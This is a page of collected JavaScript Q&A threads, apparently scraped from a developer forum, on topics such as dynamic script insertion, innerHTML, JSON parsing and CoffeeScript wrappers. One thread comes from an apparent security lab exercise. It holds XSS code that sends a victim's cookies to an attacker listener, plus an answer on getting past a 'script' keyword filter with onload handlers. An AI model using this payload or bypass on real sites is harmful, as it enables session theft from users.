Trouble inserting JavaScript var (containing stmt that contains markup) into <script> - javascript

I'm building a script dynamically (which is why it ends up in a var) but I've simplified this example. The problem I'm having is that the browser interprets the span tags inside the script as actual spans, rather than as part of the script. I've looked at all kinds of resources on escaping characters and html encoding/decoding, but either those aren't relevant issues or I'm just not getting it.
How can I write the span inside the dynamically-generated script so that the browser interprets it as part of the script and not as a span tag that it should render?
page.html file
<script>
$(document).ready(function () {
var formScript = ' $(document).on("ready", function () {';
formScript += $().BuildScript();
$("script#dynamic-script").append(formScript + '});');
});
</script>
<script id="dynamic-script"></script>
functions.js file
(function ($) {
$.fn.BuildScript = function () {
var stmtsToAdd = '';
stmtsToAdd += '$("#X").on("change", function () {' +
' if ($(this).val() == "1" && !$("#label-and-control_Y").is(":visible")) {' +
' $("#label-and-control_Y").show("fast");' +
' $("#control_Y").addClass("required");' +
' $("#control_Y").closest("div.control").prev().empty.append("<span class="required-field-indicator">");' +
' }' +
'});';
return stmtsToAdd;
}
})(jQuery);
variations
I have also tried using a variety of special characters, both with and without escaping backslashes (just in case I was misunderstanding something), with always the same result
"\u003cspan class=\\u0022required-field-indicator\\u0022\u003eRequired\u003c\/span\u003e"
"\x3cspan class=\x22required-field-indicator\x22\x3eRequired\x3c/span\x3e"
I also read that jQuery's html() was decoding, which is why I've tried append(), text(), and appendChild().
result

Related

Is there a way to change HTML content of a <p> element from within a Javascript function?

I want to change the HTML content of my webpage from within a javascript function. My HTML looks like this:
<div class="chartInfo">
<p id="last_updated">Hello</p>
</div>
My Javascript function is a QueryResponse to a GoogleCharts query. It looks like this:
<script type="text/javascript">
google.charts.load('current', {'packages':['corechart']});
function function_1() {
var queryString = encodeURIComponent('SELECT AA, AB');
var query = new google.visualization.Query('https://docs.google.com/spreadsheets/d/1dXP9yGEzNlmRxwCr2kyMM9CcS5hloIxKvef0RSa10/gviz/tq?gid=559927965&headers=1&tq=' + queryString);
query.send(function_2);
};
function function_2(response) {
if (response.isError()) {
alert('Error in query: ' + response.getMessage() + ' ' + response.getDetailedMessage());
return;
};
var data = response.getDataTable();
var t = (data.getvalue(0,0));
var latest_time = t.getDate()
document.getElementById("last_updated").innerHTML = "Last updated: " + latest_time;
};
</script>
Currently the webpage is showing "Hello" rather than "Last Updated: " + latest_time as I want it to.
I think it may be a problem of scope - when I write scripts out underneath I can change it from "Hello" to another string using document.getElementById, but then I can't access the variable latest_time which is within function_2.
Thanks in advance for any help!
Change dom.innerHTML to dom.textContent for changing text of it

Javascript: The value of the property is null or undefined, not a Function object

Okay, Stumped. I just use code to show possibilities to customers (am self-employed).
Trying to show get-selected-text-from-IE11-Browser. Don't need cross-Browser and expert stuff just yet (if customer goes ahead).
Have tried to write a javascript function to get the selected text from the browser. This has worked fine when called direct (put function into Console via F12 facility) and this returns the selection. But when calling from Context Menu HTM script it fails with the mentioned error. The code to get the selected text comes from another context menu script that works fine when all the code is in the one HTM script (cmGoogleMapSelection_1.htm). I was just trying to be a little more efficient with reuse and learn a little more myself. I will return to in-line code if I can't resolve the issue (with help from your marvellous selves).
Keep getting the following error reported in the HTM script :
The value of the property 'myGetSelectedText' is null or undefined, not a Function object.
Have read a number of posts and tried to ensure that I have covered their suggestions. Still stumped, any help appreciated.
The code, first the 'function', then the 'script'; both script file and function file are in the same local file folder (please excuse the Debug code - gulp):
fn_myGetSelectedText.js:
function myGetSelectedText(pDefault) {
var zDbug = 1;
var zDbugMsg = "Debug: ";
var zSelection = "";
if (zDbug) {alert(zDbugMsg + "Starting Function 'myGetSelectedText' from fn_myGetSelectedText.js");}
zSelection = "" + window.getSelection().toString();
if (zDbug) {alert(zDbugMsg + " Selection= '" + zSelection + "'");}
if (zSelection == "") {
zSelection = pDefault;
alert(zDbugMsg + "Null selection, using: " + zDefault + " !");
}
return zSelection;
}//EndOf: Function -----
cmGoogleMapSelection_2.htm:
<!-- saved from url=(0016)http://localhost -->
<script type="text/javascript" src="fn_myGetSelectedText.js"></script>
<script type="text/javascript">
//- zDbug: 0 = false = no messages; 1 = true = show messages -----
var zDbug = 1;
var zDbugMsg = "Debug: ";
if (zDbug) {alert(zDbugMsg + "Starting cmGoogleMap_Selection2.htm V14");}
//- Google Maps stem URL & default location -----
var zMaps = "http://maps.google.co.uk/maps?hl=en&q=";
var zDefault = "+London";
var zSelection = myGetSelectedText(zDefault); //- Error occurs here <<<<<<<<<<<
if (zDbug) {alert(zDbugMsg + " Selection= '" + zSelection + "'");}
//- Build Maps URL -----
var zGo = zMaps + zSelection;
//- Open new Maps window -----
if (zDbug) {alert(zDbugMsg + "Issuing Window.Open on URL: " + zGo);}
window.open(zGo, "_blank");
//- Close this window -----
window.close()
</script>
<!-- Just to put something into the main code window so I know which one it is -->
<style>
p {font-family: "Lucida Console"; color: Red; font-size: 16pt;}
</style>
<p> >>-- Map Selected Text Function --<< <br>
>>-- . . 'myGetSelectedText' . . --<< </p>
I am hoping like heck that I haven't missed a bracket somewhere - embarrassing!
Other stuff: Windows 10 Pro (fully updated); 64 bit IE11; just javascript; Compatibility View OFF; Registry Keys/Values pointing where they should (cloned from working version).
While browser downloads fn_myGetSelectedText.js file from the internet, it does not stop parsing other code in your HTML. There's concurrent downloading of assets going on while browser parses the DOM.
when browser reaches this line var zSelection = myGetSelectedText(); it does not see myGetSelectedText defined on the window object at that moment thus throws out error.
What you want to do is wrap your script/code in your HTML into DOMContentLoaded event and call it once page load completes.
<script>
document.addEventListener("DOMContentLoaded", function(event) {
console.log("DOM fully loaded and parsed");
});
</script>
reference: https://developer.mozilla.org/en-US/docs/Web/Events/DOMContentLoaded
My guess would be that in your called function, pDefault is undefined, because you aren't passing a variable when you do the call.
So, this line: var zSelection = myGetSelectedText();
Should become: var zSelection = myGetSelectedText(zDefault);
HTH,
Jim

Parsing json from external url Html and JS only

<html>
<body>
<div id="output">hi</div>
</body>
<script>
var link="http://mywp.com/cilacap/api/get_posts/";
var jcontent= JSON.parse(link);
var output=document.getElementById('output');
output.innerHTML=jcontent.id' ';
</script>
</html>
It only shows "hi".
Can someone tell me how to show JSON items such as "id" and "postDate"
with looping but without PHP scripting?
Thanks
Few syntactical errors, below is the right one.
<html>
<body>
<div id="output">hi</div>
</body>
<script>
var link='{"url":"http://mywp.com/cilacap/api/get_posts/", "id":"url_id_01"}';
var jcontent= JSON.parse(link);
var output=document.getElementById('output');
output.innerHTML=jcontent.id + ' ';
</script>
</html>
JSON Data(var link), was not parsable.
JSON Data(var link), didnt contained any attribute called id.
String concatenation in last line(output.innerHTML), was wrong.
Try removing the quotes from:
output.innerHTML=jcontent.id' ';
and change it to:
output.innerHTML += jcontent.id;
Providing that the link is valid it should work now.
You can also write:
console.log(jcontent);
and check if the console displays the value, or any errors that have occurred.
That url is a string, not json.
Use Ajax to get the data ( using jquery)
var link;
$.ajax({
url: "test.html",
}).done(function(data) {
link = data;
});
Then, extract the data;
output.innerHTML=jcontent.id;
Is for the value. You get the key like this:
ES7
Object.entries(jcontent)
.forEach(keyValuePair =>
{
// Push to HTML
var t = document.createTextNode(keyValuePair[0] + ' : ' + keyValuePair[1]);     // Create a text node
output.appendChild(t);   
});
ES6
Object.keys(jcontent)
.map(key => [key, jcontent[key]])
.forEach(keyValuePair =>
{
// Push to HTML
var t = document.createTextNode(keyValuePair[0] + ' : ' + keyValuePair[1]);     // Create a text node
output.appendChild(t);   
});
ES5 (Most likely your case)
Use function instead of arrow functions for es5:
Object.keys(jcontent)
.map(function(key){ [key, jcontent[key]] })
.forEach(function(keyValuePair)
{
// Push to HTML
var t = document.createTextNode(keyValuePair[0] + ' : ' + keyValuePair[1]);     // Create a text node
output.appendChild(t);   
});
Access the value:
keyValuePair[0] // key
keyValuePair[1] // value
Ps
If you want to use the es7 or es6 method, have a look at babeljs

XSS with "script" removal

This is from a network security practice problem.
The site (set up for this purpose) attempts to protect against XSS by filtering 'script' tags using the following code:
filtered = re.sub(r"(?i)script", "", input)
The task is to execute a payload in the victim's browser that would do things including send their cookies to a remote netcat connection. (I've already accomplished this when the site wasn't filtering 'script').
I've researched this and found that I can execute single javascript commands by making queries such as:
"<body onload=alert(\"hello\");>"
However, this doesn't solve my problem because it can only execute a single command (I believe). The payload I need to execute contains multiple commands.
I've also tried using HTML character codes to avoid the filter, such as:
"<script>..."
but the filter catches it.
Here is the codebase i'm using:
<html>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
<script>
function payload(attacker) {
function log(data) {
$.get(attacker, data);
}
function proxy(href) {
$("html").load(href, function(){
//Send cookie to remote connection
log(document.cookie);
});
}
proxy("./");
}
function makeLink(xssdefense, target, attacker) {
if (xssdefense == 0) {
//Code to execute when there is no filter
return target + "./search?xssdefemse=" + xssdefense.toString() + "&q=" +
encodeURIComponent("<script" + ">" + payload.toString() + ";payload(\"" + attacker + "\");</script" + ">");
}
else {
//Code to execute when 'script' is filtered
return target + "./search?xssdefemse=" + xssdefense.toString() + "&q=" +
encodeURIComponent("<body onload=alert(\"test\");>");
}
}
var xssdefense = 1;
var target = "http://81.211.34.1/xsstest";
var attacker = "http://127.0.0.1:31337/";
$(function() {
var url = makeLink(xssdefense, target, attacker);
$("h3").html("<a id=\"link\" target=\"run\" href=\"" + url + "\"> Enter Site!<\a>");
document.getElementById("link").click();
});
</script> <h3></h3>
</html>
Any help would be greatly appreciated!
You can only have one expression in an onload= attribute, but you can still perform multiple commands.
Good way:
<body onload="(function() { cmd1(); cmd2(); cmd3(); })();">
This defines a function expression which performs the 3 commands, and then gets called (that's the () at the end).
More valid ways (but seriously, go with the first):
<body onload="cmd1(), cmd2(), cmd3();">
or, if you know they all return falsey values (like undefined by not returning anything)
<body onload="cmd1() || cmd2() || cmd3();">
inversely, if you know they all return truthy values (like numbers, strings or objects)
<body onload="cmd1() && cmd2() && cmd3();">
You can have multiple expressions in onload:
<body onload="alert(1); alert(2);">

remove CoffeeScript anonymous function calls

buildIMG = (src, resize) ->
html = '<div class="left"><div class="foods_image">'
html += '<a onclick="popitup("http://somewhere.com/test" href="javascript:void(0)">'
html += ' <img src="'+src+'" '+resize+' />'
html += '</a>'
html += '</div></div>'
html
popitup = (url) ->
newwindow=window.open(url,'name','height=640,width=640')
newwindow.focus() if window.focus
false
I currently have a bookmarklet that inserts javascript code(the one above) into a website. I wrote the above coffeescript and it generates this:
(function() {
var buildIMG, popitup;
buildIMG = function(src, resize) {
var html, nbsp;
html = '<div class="left"><div class="foods_image">';
html += '<a onclick="popitup(\'http://somewhere.com/test\');" href="javascript:void(0)">';
html += ' <img src="' + src + '" ' + resize + ' />';
html += '</a>';
html += '</div></div>';
return html;
};
popitup = function(url) {
var newwindow;
newwindow = window.open(url, 'name', 'height=640,width=640');
return newwindow.focus()(window.focus ? false : void 0);
};
}).call(this);
I snipped the functions that uses buildIMG. That function creates an overlay over the site and displays all images in that overlay. buildIMG is called for each image to create the html.
The problem is that the onclick="popitup("http://somewhere.com/test" portion doesn't work. It is undefined.
A solution I did was to remove this which was generated by CoffeeScript:
(function() {
}).call(this);
It was fixed as soon as I removed that. How do I not have CoffeeScript put in those lines in my generated javascript?
CoffeeScript allows to compile JavaScript without this safety wrapper by --bare option.
Although suppressed within this documentation for clarity, all
CoffeeScript output is wrapped in an anonymous function: (function(){
... })(); This safety wrapper, combined with the automatic generation
of the var keyword, make it exceedingly difficult to pollute the
global namespace by accident.
It's from CoffeScript site.
If you want to create a global method or variable you need to
root = this
localProperty = "111"
root.property = localProperty
And then you'll get a property in global scope.

Categories

Resources